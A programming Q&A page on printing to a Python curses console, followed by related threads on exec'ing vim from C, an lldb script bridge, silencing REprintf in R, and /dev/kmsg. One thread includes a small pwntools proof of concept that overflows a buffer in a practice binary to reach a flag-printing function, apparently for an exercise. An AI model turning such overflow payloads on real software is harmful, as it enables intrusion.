Print to shell Python in curses - python-curses

I found a question whose title is "Print to standard console in curses". Here describes a solution with an object that replaces the sys.stdout to print to standard console after close the curse screen. I tested this solution and works correctly but I would like to know how could i print something to a python shell?.
the programming code is the following
class stdoutwrapper:
text=""
def write(self,txt):
self.text +=txt
self.text='\n'.join(self.text.split('\n')[-30:])
def get_text(self,beg,end):
return '\n'.join(self.text.split('\n')[beg:end])
if __name__=="__main__":
mystdout=stdoutwrapper()
sys.stdout=mystdout
sys.stderr=mystdout
print "bienvenido"
...........
..........
..........
...........
# Main program
processmenu(menu_data)
curses.endwin() #VITAL! This closes out the menu system and returns you to the bash prompt.
os.system('clear')
sys.stdout=sys.__stdout__
sys.stderr=sys.__stderr__
sys.stdout.write(mystdout.get_text(0,30))
After exit from curse screen, the out in standard console is:
bienvenido
c:\users\casalino>

Not sure that I completely understand your question.
If you want to print text in curses program - you should use something like that:
screen = curses.initscr()
screen.noecho()
screen.addstr(y=5, x=5, "My_string")
self.screen.refresh()
For example here is my curses dummy "screensaver".
Python curses tutorial.
If you want to print some debug values then it's better to use logger module and log to file.
Good luck!

Related

C - Tried to start a text editor using exec system call but vim crashes due to "Error reading input" resembling issue with Nano

Good day!
first time posting on stack overflow. Hope, I get this right.
For an exercise project, I would like my program to start vim or nano (doesn't matter for now) before proceeding.
Using the below code, vim starts. I.e. I can see the vim interface in the terminal window.
But: As soon as I start typing, after one or two characters, vim crashes giving me the following output:
Vim: Error reading input, exiting...
Vim: Finished.
Here's my code snippet:
pid_t childPid = fork();
if (childPid) {
// ...
}
else {
// open [filename.md] in vim
char * vim = "/bin/vim";
filePath = "/home/myusername/Documents/test.md";
execl(vim, vim, filePath, NULL);
}
Not sure, if I have to block the input recognition of the parent process or similar.
Guess I went a bit too far for my level of knowledge. It would be great to have a solution anyway. I think knowing a bit of how to solve this, might help when I encounter this topic later on.
I was able to fix this a little bit later. I had forgotten to make sure the parent process waits for the child process. After adding wait, everything worked as I expected.

How do I send raw bytes interactively for a buffer overflow exploit?

I am trying, as part of an exercise, to exploit a simple program by overwriting a value of a variable though a buffer overflow. I am pretty sure I have the idea behind the exploit figured out, but since I am unable to inject my code I can't know for sure.
I have tried to build a script that uses Pwntools which is good for packing integers but I haven't managed to get it to work. I also tried to read up about TTY and how you could manipulate what the terminal sends to the process.
A simple pseudocode of the program that I am exploiting:
returnFlag() {
print(flag)
}
main() {
char[8] = input
id = 999999
input = fgets()
if (id = 0) {
returnFlag()
}
}
My plan is to overflow the variable input and overwrite the value of id with 0 so it the function returnFlag() is executed. But when I input for example "AAAA\x00\x00\x00" I only get gibberish when I look at the memory with GDB.
This problem has driven me crazy for the last 1,5 weeks and any help would be greatly appreciated.
So I figured out how to solve the problem. Hopefully this will help someone else as well.
The problem was that I did not know how to send the "exploit code" because it's made up by nulls. Fortunately there is a neat tool called Pwntools link that helps you just with that.
With that tool you can interact with the program and "pack" integers so that you can send all the types of bytes necessary, including null-bytes.
A simple POC using Pwntools to exploit the program above, lets call it vuln, would look like:
#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'
pl = fit({0:'1', 8:[0x00000000]})
io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))
So I first import all the libs, set up the environment that I am trying to exploit with context. Then I use the fit-function. It packs all of my input in a way that I can send it to the program. I am still trying to figure out what fit is doing behind the scenes.

Launch interactive session via script bridge

I am trying to launch an interactive debugging session from a python script via the SWIG-generated lldb module. The program to debug is nothing but an empty main function. Here is my current attempt:
import lldb
import sys
import os
debugger = lldb.SBDebugger.Create()
debugger.SetAsync(False)
target = debugger.CreateTargetWithFileAndArch("a.out", "")
# The breakpoint itself works fine:
fileSpec = lldb.SBFileSpecList()
mainBp = target.BreakpointCreateByName("main", 4, fileSpec, fileSpec)
mainBp.SetAutoContinue(False)
# Use the current terminal for IO
stdout = os.ttyname(sys.stdout.fileno())
stdin = os.ttyname(sys.stdin.fileno())
stderr = os.ttyname(sys.stderr.fileno())
flag = lldb.eLaunchFlagNone
target.Launch(target.GetDebugger().GetListener(), [], [], stdin, stdout,
stderr, os.getcwd(), flag, False, lldb.SBError())
It seems to me that whatever flag I pass to target.Launch (I tried amongst those flags), there is no way of switching to an interactive editline session. I do understand that the primary purpose of the python bindings is non-interactive scripting, but I am nevertheless curious whether this scenario could be made possible.
There is a method on SBDebugger to do this (RunCommandInterpreter). That's how Xcode & similar make lldb console windows. But so far it's only been used from C and there's something wrong with the C++ -> Python bindings for this function such that when you try to call it from Python you get a weird error about the 5th argument being of the wrong type. The argument is an int& and that gives SWIG (the interface generator) errors at runtime.
Of course, you could just start reading from STDIN after launch and every time you get a complete line pass it to "SBCommandInterpreter::HandleCommand". But getting RunCommandInterpreter working is the preferable solution.

Suppress messages from underlying C-function in R

In a script I often call the function Rcplex(), which prints "CPLEX environment opened" and "Closed CPLEX environment" to the console. Since the function is called rather frequently, it prints this very often, which is quite annoying. Is there a way to suppress this? I tried sink(), suppressWarnings/Messages or invisible(catch.output()) but none of these did the trick. I proceeded to check the code of Rcplex() and found where the printing to the console happens. Rcplex() calls an underlying C-function (Rcplex.c). In the code of rcplex.c I located the commands which cause the printing:
REprintf("CPLEX environment opened\n");
REprintf("Closed CPLEX environment\n");
Is there a way to capture the output from REprintf() so that it does not get printed to the R-console? One way would obviously be to mess around with the Rcplex.c file and delete the corresponding lines. However, this would not be a very clean solution, which is why I'm asking for another way to capture the output from C-functions.
You had problems using sink() and capture.output() normally because sink() does not redirect output from REprintf, as we see in comments from the source code for REprintf:
/* =========
* Printing:
* =========
*
* All printing in R is done via the functions Rprintf and REprintf
* or their (v) versions Rvprintf and REvprintf.
* These routines work exactly like (v)printf(3). Rprintf writes to
* ``standard output''. It is redirected by the sink() function,
* and is suitable for ordinary output. REprintf writes to
* ``standard error'' and is useful for error messages and warnings.
* It is not redirected by sink().
However, we can use type = "message" to deal with this; from help("capture.output"):
Messages sent to stderr() (including those from message, warning and
stop) are captured by type = "message". Note that this can be "unsafe" and should only be used with care.
First I make a C++ function with the same behavior you're dealing with:
#include <Rcpp.h>
using namespace Rcpp;
// [[Rcpp::export]]
NumericVector example_function(NumericVector x) {
REprintf("CPLEX environment opened\n");
REprintf("Closed CPLEX environment\n");
// As mentioned by Dirk Eddelbuettel in the comments,
// Rcpp::Rcerr goes into the same REprintf() stream:
Rcerr << "Some more stuff\n";
return x;
}
If I call it from R normally, I get:
example_function(42)
CPLEX environment opened
Closed CPLEX environment
Some more stuff
[1] 42
However, I could instead do this:
invisible(capture.output(example_function(42), type = "message"))
[1] 42
And while the output is is printed to the console, the message is not.
Warning
I would be remiss if I didn't mention the warning from the help file I quoted above:
Note that this can be "unsafe" and should only be used with care.
The reason is that this will eliminate all output from actual errors as well. Consider the following:
> log("A")
Error in log("A") : non-numeric argument to mathematical function
> invisible(capture.output(log("A"), type = "message"))
>
You may or may not want to therefore send the captured output to a text file in case you have to diagnose something that went wrong. For example:
invisible(capture.output(log("A"), type = "message", file = "example.txt"))
Then I don't have to see the message in the console, but if I need to check example.txt afterward, the message is there:
Error in log("A") : non-numeric argument to mathematical function

Echo value to Linux console

How can I, in C, output a value from a syscall to the Linux console so that it will be visible after a dmesg? What method do I use for printing?
You're looking for the printk() function; some documentation on the types that it supports is found in Documentation/printk-formats.txt. It is defined in kernel/printk.c.
I assume you mean in the user-space. You can write the string to /dev/kmsg. In shell, just echo it. In C, it would be also very easy.
[root#cr0 ~]# echo hello > /dev/kmsg
[root#cr0 ~]# dmesg | tail -1
[24156.408735] hello
But if you mean in kernel space, of course, you need to call printk().
In addition, you might be interested (even if that does not answer exactly your question), by the openlog & syslog functions. From within an application, they are the proper way to get system logging.

Resources